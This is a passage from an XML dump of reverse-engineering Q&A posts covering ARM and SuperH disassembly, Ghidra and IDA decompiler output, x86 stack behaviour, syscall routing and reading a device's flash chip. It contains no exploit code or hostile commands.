;decrement r1, set flags&#xA;0C0009D4 BNE     dec_64k                 ;loop back until r1 = 0 &#xA;0C0009D4&#xA;0C0009D8 LDR     R1, [R0,#0x900]         ;r1 &amp;lt;- OTHERS register&#xA;0C0009DC ORR     R1, R1, #0x20           ;set bit 5&#xA;0C0009E0 STR     R1, [R0,#0x900]         ;set bit 5 of OTHERS register, marked as &quot;DO NOT CHANGE&quot; ???&#xA;0C0009E4 MOV     PC, LR                  ;return to init_hardware subroutine&#xA;&#xA;0C0009E8 unrelated_routine                 &#xA;0C0009E8 LDR     R0, dword_C000A54       &#xA;0C0009EC LDR     R1, dword_C000A94       &#xA;0C0009F0 STR     R1, [R0]                &#xA;0C0009F4 LDR     R0, dword_C000A70       &#xA;0C0009F8 MOV     R1, #0                  &#xA;0C0009FC STR     R1, [R0,#8]             &#xA;0C000A00 STR     R1, [R0,#0xC]           &#xA;0C000A04 MOV     R1, #3                  &#xA;0C000A08 STR     R1, [R0]                &#xA;0C000A0C LDR     R1, dword_C000A98       &#xA;0C000A10 STR     R1, [R0,#4]             &#xA;0C000A14 MOV     R1, #0x22               &#xA;0C000A18 STR     R1, [R0,#0x28]          &#xA;0C000A1C LDR     R1, dword_C000A9C       &#xA;0C000A20 STR     R1, [R0,#0x2C]          &#xA;0C000A24 LDR     R1, dword_C000AA0       &#xA;0C000A28 STR     R1, [R0,#0x20]          &#xA;0C000A2C MOV     PC, LR                  &#xA;0C000A30 LDR     R0, dword_C000AA4       &#xA;0C000A34 LDR     R1, [R0]                &#xA;0C000A38 ORR     R1, R1, #0x70           &#xA;0C000A3C ORR     R1, R1, #0x7700         &#xA;0C000A40 STR     R1, [R0]                &#xA;0C000A44 LDR     R1, [R0,#4]             &#xA;0C000A48 ORR     R1, R1, #3              &#xA;0C000A4C STR     R1, [R0,#4]             &#xA;0C000A50 MOV     PC, LR                  &#xA;&#xA;literal_pool&#xA;0C000A54 dword_C000A54 DCD 0x7F008000    &#xA;0C000A58 dword_C000A58 DCD 0x55540000    &#xA;0C000A5C dword_C000A5C DCD 0x55555555    &#xA;0C000A60 dword_C000A60 DCD 0x7F008924    &#xA;0C000A64 dword_C000A64 DCD 0x71200000    &#xA;0C000A68 dword_C000A68 DCD 0x71300000    &#xA;0C000A6C dword_C000A6C DCD 0x7E00F904    &#xA;0C000A70 dword_C000A70 DCD 0x7F005000    &#xA;0C000A74 dword_C000A74 DCD 0x4B4B4B4B    &#xA;0C000A78 dword_C000A78 DCD 0x7E00F908    &#xA;0C000A7C dword_C000A7C DCD 0x7E00FA00    &#xA;0C000A80 dword_C000A80 DCD 0x7E00F000    &#xA;0C000A84 dword_C000A84 DCD 0x3310        &#xA;0C000A88 dword_C000A88 DCD 0x810A0301    &#xA;0C000A8C dword_C000A8C DCD 0x80200203    &#xA;0C000A90 dword_C000A90 DCD 0x2007        &#xA;0C000A94 dword_C000A94 DCD 0x220022      &#xA;0C000A98 dword_C000A98 DCD 0xE45         &#xA;0C000A9C dword_C000A9C DCD 0x1FFF        &#xA;0C000AA0 dword_C000AA0 DCD 0x4F4F4F4F    &#xA;0C000AA4 dword_C000AA4 DCD 0x70200000    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The OTHERS register of the system controller is loaded into r1, logically OR'd with 0x20, setting bit 5, then written back into OTHERS register. Changing a bit that apparently shouldn't be changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootloader is never verified, so it can be overwritten in flash at will. This is a rooted android tablet, so I used the DD command to swap the &lt;code&gt;STR R1, [R0,#0x900]&lt;/code&gt; instruction at SRAM location &lt;code&gt;0x0C0009E0&lt;/code&gt; out with a &lt;code&gt;NOP&lt;/code&gt;. The tablet still boots. So am I interpretting the instruction incorrectly? (just started learning arm assembly) Is this just a harmless bug? Or could these &quot;DO NOT CHANGE&quot; bits have some hidden functionality?&lt;/p&gt;&#xA;" OwnerUserId="29823" LastEditorUserId="29823" LastEditDate="2019-10-07T01:55:43.297" LastActivityDate="2019-10-07T01:55:43.297" Title="Why is U-Boot changing this bit marked as &quot;DO NOT CHANGE&quot;?" Tags="|assembly|arm|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22262" PostTypeId="1" CreationDate="2019-10-07T15:14:45.640" Score="2" ViewCount="245" Body="&lt;p&gt;I'm reverse engineering firmware from an old sampler/groovebox that uses a Hitachi SuperH-3 7706 processor, making great progress.  Out of the 8M or so of code, everything looks and lines up correctly.  However, in a few spots I see some stuff that makes me scratch my head and I'm not sure what is going on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function looks a lot like another one in a different area, which eventually calls memcpy().  This version of it makes a jsr to the middle of a function (0x8C010D20) and doesn't make a lot of sense given what is being stuffed into the function argument registers (see 0x80018e82 for actual jsr). And the 0x400B is definitely a jsr r0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the disassembly of the caller and the callee.  What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Caller --&#xA;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     undefined __stdcall rom_copy_to_ram_maybe(int param_1)&#xA;     undefined         r0:1           &amp;lt;RETURN&amp;gt;&#xA;     int               r4:4           param_1&#xA;     undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     80018e70(*)&#xA;     undefined4        Stack[-0x8]:4  local_8                                 XREF[2]:     80018e72(*),&#xA;                                                                                           80018e88(*)&#xA;                     rom_copy_to_ram_maybe&#xA;80018e70 2f e6           mov.l      r14,@-r15=&amp;gt;local_4&#xA;80018e72 4f 22           sts.l      pr,@-r15=&amp;gt;local_8&#xA;80018e74 24 48           tst        param_1,param_1&#xA;80018e76 d5 06           mov.l      @(DAT_80018e90,pc),r5=&amp;gt;DAT_a0400000              = A0400000h&#xA;80018e78 8f 01           bf/s       LAB_80018e7e&#xA;80018e7a 6e f3           _mov       r15,r14&#xA;80018e7c d5 05           mov.l      @(DAT_80018e94,pc),r5=&amp;gt;SUB_a0000000              = A0000000h&#xA;                     LAB_80018e7e                                    XREF[1]:     80018e78(j)&#xA;80018e7e d0 06           mov.l      @(-&amp;gt;FUN_8c010d20,pc),r0                          = 8c010d20&#xA;80018e80 d4 06           mov.l      @(PTR_DAT_80018e9c,pc),param_1=&amp;gt;DAT_8d800000     = 8d800000&#xA;80018e82 40 0b           jsr        @r0=&amp;gt;FUN_8c010d20                                TODO: this makes no sense... it'&#xA;80018e84 00 09           _nop&#xA;80018e86 6f e3           mov        r14,r15&#xA;80018e88 4f 26           lds.l      @r15=&amp;gt;local_8+,pr&#xA;80018e8a 00 0b           rts&#xA;80018e8c 6e f6           _mov.l     @r15+,r14&#xA;80018e8e 00 09           nop&#xA;                     DAT_80018e90                                    XREF[2]:     rom_copy_to_ram_maybe:80018e76(R&#xA;                                                                                  rom_copy_to_ram_maybe:80018e76(R&#xA;80018e90 a0 40 00 00     undefined4 A0400000h&#xA;                     DAT_80018e94                                    XREF[2]:     rom_copy_to_ram_maybe:80018e7c(R&#xA;                                                                                  rom_copy_to_ram_maybe:80018e7c(R&#xA;80018e94 a0 00 00 00     undefined4 A0000000h&#xA;                     PTR_FUN_80018e98                                XREF[2]:     rom_copy_to_ram_maybe:80018e7e(R&#xA;                                                                                  rom_copy_to_ram_maybe:80018e7e(R&#xA;80018e98 8c 01 0d 20     addr       FUN_8c010d20&#xA;                     PTR_DAT_80018e9c                                XREF[2]:     rom_copy_to_ram_maybe:80018e80(R&#xA;                                                                                  rom_copy_to_ram_maybe:80018e80(R&#xA;80018e9c 8d 80 00 00     addr       DAT_8d800000&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Callee --&#xA;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     uint __stdcall FUN_8c010d10(char param_1)&#xA;     uint              r0:4           &amp;lt;RETURN&amp;gt;&#xA;     char              r4:1           param_1&#xA;     undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     8c010d10(*)&#xA;                     FUN_8c010d10                                    XREF[4]:     8c010a82(c), 8c010b14(*),&#xA;                                                                                  8c010cec(c), 8c010d08(*)&#xA;8c010d10 2f e6           mov.l      r14,@-r15=&amp;gt;local_4&#xA;8c010d12 74 bf           add        -0x41,param_1&#xA;8c010d14 64 4c           extu.b     param_1,param_1&#xA;8c010d16 e1 19           mov        #0x19,r1&#xA;8c010d18 34 16           cmp/hi     r1,param_1&#xA;8c010d1a 8f 02           bf/s       LAB_8c010d22&#xA;8c010d1c 6e f3           _mov       r15,r14&#xA;8c010d1e a0 01           bra        LAB_8c010d24&#xA;                     **************************************************************&#xA;                     *                          FUNCTION                          *&#xA;                     **************************************************************&#xA;                     undefined FUN_8c010d20()&#xA;     undefined         r0:1           &amp;lt;RETURN&amp;gt;&#xA;                     FUN_8c010d20                                    XREF[2]:     rom_copy_to_ram_maybe:80018e82(c&#xA;                                                                                  80018e98(*)&#xA;8c010d20 e0 00           _mov       #0x0,r0&#xA;                     LAB_8c010d22                                    XREF[1]:     FUN_8c010d10:8c010d1a(j)&#xA;8c010d22 e0 01           mov        #0x1,r0&#xA;                     LAB_8c010d24                                    XREF[1]:     FUN_8c010d10:8c010d1e(j)&#xA;8c010d24 6f e3           mov        r14,r15&#xA;8c010d26 00 0b           rts&#xA;8c010d28 6e f6           _mov.l     @r15+,r14&#xA;8c010d2a 00 09           nop&#xA;8c010d2c 00 09           nop&#xA;8c010d2e 00 09           nop```&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29828" LastEditorUserId="245" LastEditDate="2021-06-29T20:42:22.863" LastActivityDate="2023-03-22T00:08:21.020" Title="Odd jsr destination in SuperH disassembly w/ Ghidra" Tags="|firmware|ghidra|superh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22264" PostTypeId="1" CreationDate="2019-10-07T23:43:27.630" Score="0" ViewCount="777" Body="&lt;p&gt;Is it possible for a particular GUI element of a running program (on Windows platform) to be located in memory, such as a text element from a dialog box? For example, locating title text of a drop-down menu or text within an &quot;About&quot; popup box.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastEditorUserId="2153" LastEditDate="2019-10-08T04:14:11.083" LastActivityDate="2020-03-06T16:02:50.357" Title="Can GUI elements of a running program be found/located in memory?" Tags="|ida|disassembly|windows|debugging|memory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22265" PostTypeId="1" CreationDate="2019-10-08T00:08:36.020" Score="2" ViewCount="893" Body="&lt;p&gt;I am writing an IDA python plugin to identify the operands that are defined and used by every instruction. For now, I am using the canonical feature for an instruction to identify if an operand to the instruction is being used or defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it works for the most part, I'm not sure how to extract information for the following cases&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Push/Pop/Retn/Call instructions that modify/use &lt;code&gt;esp&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Compare and branching instructions that modify the &lt;code&gt;eflags&lt;/code&gt; registers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I could write &quot;if&quot; conditions to handle these cases but I'm wondering if there is a better way to extract information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16108" LastActivityDate="2020-07-20T22:00:55.097" Title="Extracting instruction and operand information in IDA Python" Tags="|ida|idapython|idapro-sdk|ida-plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22268" PostTypeId="1" CreationDate="2019-10-08T12:07:55.320" Score="1" ViewCount="373" Body="&lt;p&gt;I have an application (something like a text editor) that has a background image. &#xA;I understand how to replace text in exe file, but what about image? &#xA;I wonder how difficult and what is the way to replace such image using etc ollydbg, IDA?  &lt;/p&gt;&#xA;" OwnerUserId="29837" LastActivityDate="2019-10-08T12:07:55.320" Title="How can one replace bitmap (image) inside exe?" Tags="|ida|ollydbg|decompilation|decompile|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22269" PostTypeId="2" ParentId="22262" CreationDate="2019-10-08T14:02:40.783" Score="1" Body="&lt;p&gt;I'm not 100% sure I'm reading it right but it seems &lt;code&gt;FUN_8c010d20&lt;/code&gt; performs a part of the epilog processing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;r14&lt;/code&gt; (frame pointer) to &lt;code&gt;r15&lt;/code&gt; (stack pointer)&lt;/li&gt;&#xA;&lt;li&gt;pop (saved?) &lt;code&gt;r14&lt;/code&gt; from the stack and return.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this is done in a separate function instead of inline but I suspect it may be caused by over-aggressive &quot;shared code&quot; optimization (sometimes also called &lt;em&gt;reverse inlining&lt;/em&gt;), when the compiler (or more commonly linker) scans the binary for common code sequences (especially at the end of functions) and replaces them by calls to a common function to reduce total code size. This can bring substantial code size savings but in this case it basically replaced two instructions by a function call which itself takes more space (especially if we add the 4-byte function address literal).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-08T14:02:40.783" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22270" PostTypeId="5" CreationDate="2019-10-08T14:13:20.360" Score="0" Body="" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-10-08T14:13:20.360" LastActivityDate="2019-10-08T14:13:20.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22271" PostTypeId="4" CreationDate="2019-10-08T14:13:20.360" Score="0" Body="SuperH processor family, created by Hitachi and later acquired by Renesas. 32-bit RISC core with mostly 16-bit instructions." OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-10-08T14:13:20.360" LastActivityDate="2019-10-08T14:13:20.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22272" PostTypeId="2" ParentId="22264" CreationDate="2019-10-08T15:05:29.073" Score="1" Body="&lt;p&gt;There Are Many Apis that can help you locate the pertinent windows&lt;br&gt;&#xA;the simplest being FindWindow And GetWindowText&lt;br&gt;&#xA;you can run a complete enumeration with EnumWindows using A user provided callback function&lt;br&gt;&#xA;these are the for programming part &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you need a readymade option you can look for tools like spy++ that comes with visual studio or many other Gui Spy Programs ( I tend to use winspy++  from catch22.net ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screen shot where I change the About Mozilla Firefox Caption in a live Firefox to some random text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uh0lL.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uh0lL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-10-08T15:05:29.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22273" PostTypeId="1" CreationDate="2019-10-08T16:47:08.183" Score="0" ViewCount="421" Body="&lt;p&gt;This is a decompile of an &lt;code&gt;.so&lt;/code&gt; file, so it originated from C or C++. Can you kindly try to explain to me what this does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one rewrite this into readable code? I don't mind any programming language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop below is strange: I think it is a &lt;code&gt;for&lt;/code&gt; loop but it uses a byte during checking... oh no, this is so wrong. There is one thing I am sure, in the function crackMe the &lt;code&gt;*two&lt;/code&gt; is actually a byte array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what about the &lt;code&gt;++keep&lt;/code&gt;? and &lt;code&gt;(two++)[1]&lt;/code&gt;? Can byte minus byte result in &lt;code&gt;(_BYTE *)(two - newByte)&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is surely a short code but so much to analyse.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned __int8 *__fastcall crackMe(unsigned __int8 *i, _BYTE *two)&#xA;{&#xA;  _BYTE *newByte; &#xA;  int flag; &#xA;  int rule; &#xA;  _BYTE *rule2; &#xA;  unsigned __int8 *result; &#xA;  int currentNumCopy; &#xA;  int currentNum; &#xA;  int keep; &#xA;  int forCompare; &#xA;  int isFinal; &#xA;&#xA;  newByte = two + 1;&#xA;  flag = (unsigned __int8)*two;&#xA;  if ( !*two )&#xA;    return i;&#xA;  do&#xA;    rule = (unsigned __int8)(two++)[1];&#xA;  while ( rule );&#xA;  rule2 = (_BYTE *)(two - newByte);&#xA;  while ( 1 )&#xA;  {&#xA;    result = i;&#xA;    currentNum = *i++;&#xA;    currentNumCopy = currentNum;&#xA;    if ( !currentNum )&#xA;      break;&#xA;    if ( currentNumCopy == flag)&#xA;    {&#xA;      if ( !rule2 )&#xA;        return result;&#xA;      keep = 0;&#xA;      while ( 1 )&#xA;      {&#xA;        forCompare = (unsigned __int8)newByte[keep];&#xA;        isFinal = result[keep + 1];&#xA;        if ( !result[keep + 1] || isFinal != forCompare )&#xA;          break;&#xA;        if ( rule2 == (_BYTE *)++keep )&#xA;          return result;&#xA;      }&#xA;      if ( isFinal == forCompare )&#xA;        return result;&#xA;    }&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My attempt to rewrite it in Java, you can rewrite it in C or C++ or C# or Python or any language you prefer:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        byte[] newByte;&#xA;        int flag;&#xA;        int rule; &#xA;        byte rule2; &#xA;        int result;&#xA;        int currentNumCopy; &#xA;        int keep; &#xA;        int forCompare; &#xA;        int isFinal; &#xA;&#xA;        newByte = two;&#xA;        newByte[two.length + 1] = 1; //I am confused, did it convert array to integer then add 1 or add 1 to the end of array?&#xA;&#xA;        ByteBuffer wrapped = ByteBuffer.wrap(two); // big-endian by default&#xA;        flag = wrapped.getInt();&#xA;        for (int currentNum = 0; currentNumCopy == flag; currentNum++) {&#xA;        ??? rule = ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29843" LastEditorUserId="29843" LastEditDate="2019-10-08T18:22:10.660" LastActivityDate="2020-01-01T13:03:06.707" Title="What is, and why, &quot;byte[ ] + number&quot; in this IDA pseudocode?" Tags="|ida|assembly|decompilation|c++|c|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22274" PostTypeId="1" AcceptedAnswerId="22275" CreationDate="2019-10-09T00:53:03.243" Score="12" ViewCount="7684" Body="&lt;p&gt;Some portion of code I am analyzing gets decompiled as below in ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (((*puVar8 == CONCAT22(DAT_0040a37a,DAT_0040a378)) &amp;amp;&amp;amp;&#xA;     (*(uint *)((int)puVar9 + 6) ==&#xA;     (CONCAT22(DAT_0040a37e,DAT_0040a37c) | (int)DAT_0040a37a &amp;gt;&amp;gt; 0xf))) &amp;amp;&amp;amp;&#xA;     ((*(short *)((int)puVar9 + 10) == 0x20 || (*(short *)((int)puVar9 + 10) == 0)))) {&#xA;    local_2c8.PrivilegeCount = local_2c8.PrivilegeCount | 4;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to understand what this &lt;code&gt;CONCAT22&lt;/code&gt; is. This is found at multiple places in the same function.&lt;/p&gt;&#xA;" OwnerUserId="29847" LastActivityDate="2019-10-09T12:25:16.113" Title="concat22 in ghidra decompiler" Tags="|decompilation|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22275" PostTypeId="2" ParentId="22274" CreationDate="2019-10-09T03:22:10.687" Score="15" Body="&lt;p&gt;I wanted to comment but it grew up so answering &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CONCAT is Concatenation  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;22 is a suffix that denotes concatenate two bytes with two bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it takes two bytes from first location two bytes from second location and produces a 4 byte result  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here it is probably making a wide character string &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see the difference of two bytes in the address too xxa37e,yya37c etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as commented click on the address or macro to go to the disassembly and look at the construct &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a big concat&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return CONCAT2325(extraout_var,CONCAT124(1,CONCAT816(local_48,CONCAT88(uVar3,local_58)))) &amp;amp;&#xA;       0xffffffffffffffff;&#xA;&#xA;concat           88 = 8+8  say something RDX+rcx   &#xA;next is          816 which means 8 + 16      &amp;lt;&amp;lt; 16 is from earlier concat   &#xA;next is          124 which means 1 + 24      &amp;lt;&amp;lt; 24 is from earlier concat   &#xA;next is          2325 which means 23 + 25     &amp;lt;&amp;lt; 25 is from earlier concat   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the relevant disassembly for this decompilation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00461277 48 89 84        MOV        qword ptr [Stack[0x18] + RSP],RAX&#xA;         24 80 00 &#xA;         00 00&#xA;00461284 48 89 84        MOV        qword ptr [Stack[0x20] + RSP],RAX&#xA;         24 88 00 &#xA;         00 00&#xA;0046128c c6 84 24        MOV        byte ptr [Stack[0x28] + RSP],0x1&#xA;         90 00 00 &#xA;         00 01&#xA;00461297 0f 11 84        MOVUPS     xmmword ptr [Stack[0x30] + RSP],XMM0&#xA;         24 98 00 &#xA;         00 00&#xA;004612a8 c3              RET&#xA;                     ********** bufio.(*Reader).ReadLine Exit ********** &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-10-09T12:25:16.113" LastActivityDate="2019-10-09T12:25:16.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22276" PostTypeId="1" AcceptedAnswerId="22277" CreationDate="2019-10-09T08:31:48.353" Score="-1" ViewCount="196" Body="&lt;p&gt;I'm trying to find the line number of the &lt;code&gt;0f05 syscall&lt;/code&gt; interrupt with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched everywhere and couldn't find any way of doing that, it seems like this information is hard coded in the CPU (which make sense).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to follow the debugger to the kernel code but currently I don't know which function I need to put a break point on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do &quot;step into&quot; on the &lt;code&gt;syscall&lt;/code&gt; line it simply move to the next instruction like it is &lt;code&gt;mov&lt;/code&gt; or something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29851" LastActivityDate="2019-10-09T10:00:29.100" Title="How to find each interrupt's line in the Interrupt Descriptor Table" Tags="|windbg|kernel-mode|syscall|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22277" PostTypeId="2" ParentId="22276" CreationDate="2019-10-09T10:00:29.100" Score="1" Body="&lt;p&gt;The AMD64 &lt;a href=&quot;https://www.felixcloutier.com/x86/syscall&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;syscall&lt;/code&gt; instruction&lt;/a&gt; is not an interrupt (neither software nor hardware). The destination of it is stored not in IDT but in a Machine-specific register (MSR) called &lt;code&gt;IA32_LSTAR&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-09T10:00:29.100" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22279" PostTypeId="1" AcceptedAnswerId="22306" CreationDate="2019-10-10T04:37:27.347" Score="0" ViewCount="73" Body="&lt;p&gt;I'm learning on how to cause a buffer overflow. My victim program has to read input from a file encoded with UTF-16, 2-bytes by 2-bytes, and I want to overrun the EBP with an address like 0x0012F468.&#xA;The 0xF468 part is read successfully but the program just ignores the 0x0012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I researched, I found out that not only 0x0012 but also the characters from 0x0000 to 0x001F, which are &quot;control characters&quot; are ignored as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How can I inject those characters as a input from a text file to my victim program?&lt;/p&gt;&#xA;" OwnerUserId="29304" LastEditorUserId="245" LastEditDate="2019-10-11T10:16:50.407" LastActivityDate="2019-10-13T00:25:30.603" Title="How to make a program to read Unicode control characters" Tags="|x86|buffer-overflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22280" PostTypeId="1" AcceptedAnswerId="22283" CreationDate="2019-10-10T05:48:12.833" Score="0" ViewCount="1585" Body="&lt;p&gt;I've started learning the Reverse Engineering and when I read the Stack Operations and function invocation, there are an issue that I'm confused.&#xA;-What is the address of ESP after &amp;quot;pop ebp&amp;quot; and &amp;quot;retn&amp;quot; instruction??&lt;/p&gt;&#xA;&lt;h2&gt;C program&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl addme(short a, short b)&#xA;{&#xA;     return a+b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Assembly program&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;01: push ebp&#xA;02: mov ebp , esp&#xA;03:...&#xA;04:movsx eax ,word ptr [ebp+8]&#xA;05:movsx ecx ,word ptr [ebp+0Ch]&#xA;06:add eax ,ecx&#xA;07:...&#xA;08:mov esp , ebp&#xA;09:pop ebp&#xA;10:retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As I though , esp is set to ebp in step 08 so the ESP address is right after the the first address comes inside the stack.But the step 09 makes it wrong. Help me understand this.&lt;/p&gt;&#xA;" OwnerUserId="29860" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-10-11T18:26:06.070" Title="Where is the ESP after call instruction?" Tags="|disassembly|x86|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22281" PostTypeId="2" ParentId="22280" CreationDate="2019-10-10T07:39:57.323" Score="1" Body="&lt;p&gt;The &lt;code&gt;esp&lt;/code&gt; is updated when a &lt;code&gt;push&lt;/code&gt; or a &lt;code&gt;pop&lt;/code&gt; is called. Remember that the &lt;code&gt;esp&lt;/code&gt; is used to point to the current last item on the stack. So, each &lt;code&gt;push&lt;/code&gt; or &lt;code&gt;pop&lt;/code&gt; operation move it up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more explicit, we can decompose in smaller instructions (only &lt;code&gt;mov&lt;/code&gt;) the &lt;code&gt;pop&lt;/code&gt; and the &lt;code&gt;push&lt;/code&gt; as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pop ebp == (mov ebp, [esp] ; mov esp, esp + 4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp == (mov [esp], ebp ; mov esp, esp - 4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this is just clearer now.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-10-10T07:39:57.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22282" PostTypeId="2" ParentId="21993" CreationDate="2019-10-10T12:11:22.957" Score="3" Body="&lt;p&gt;I hope you could already solve your problem. &#xA;Just in case that you are still struggling I want to share my ideas with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to point out that I am not 100% sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Gogeta70 already said you can connect directly to your flash chip's I/O pins. The Bus Pirate is a good option to do so since it's not so expensive and it seems that you're lucky. You already found out that your flash is the MX25L25635EF from Macronix. You can check out on the flashrom webpage that this device is part of the supported devices list.&#xA;&lt;a href=&quot;https://flashrom.org/Supported_hardware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://flashrom.org/Supported_hardware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you decide to go for that you have to keep in mind that it is possible to get a few problems if you don't desolder it. I just wanted to point this out so that you don't get frustrated if you connect it while it is still soldered to the board and you don't reveive the result that you want. On flashroms webpage there is a troubleshooting section for such a case. If nothing else works you can still try to desolder the flash from the board. &#xA;&lt;a href=&quot;https://flashrom.org/ISP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://flashrom.org/ISP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an other thing that you can try to do. I did this with a NAND flash that I worked with a month ago to get access to the busybox. You will still need access to your flash for that because you have to access the Chip Select Pin. I would only recommend doing this if you can afford to destroy the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the interesting part is where he asks you to choose an option. Right after this the bootloader starts to boot the system via flash.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Please choose the operation: &#xA;&#xA;   1: Load system code to SDRAM via TFTP. &#xA;&#xA;   2: Load system code then write to Flash via TFTP. &#xA;&#xA;   3: Boot system code via Flash (default).&#xA;&#xA;   4: Entr boot command line 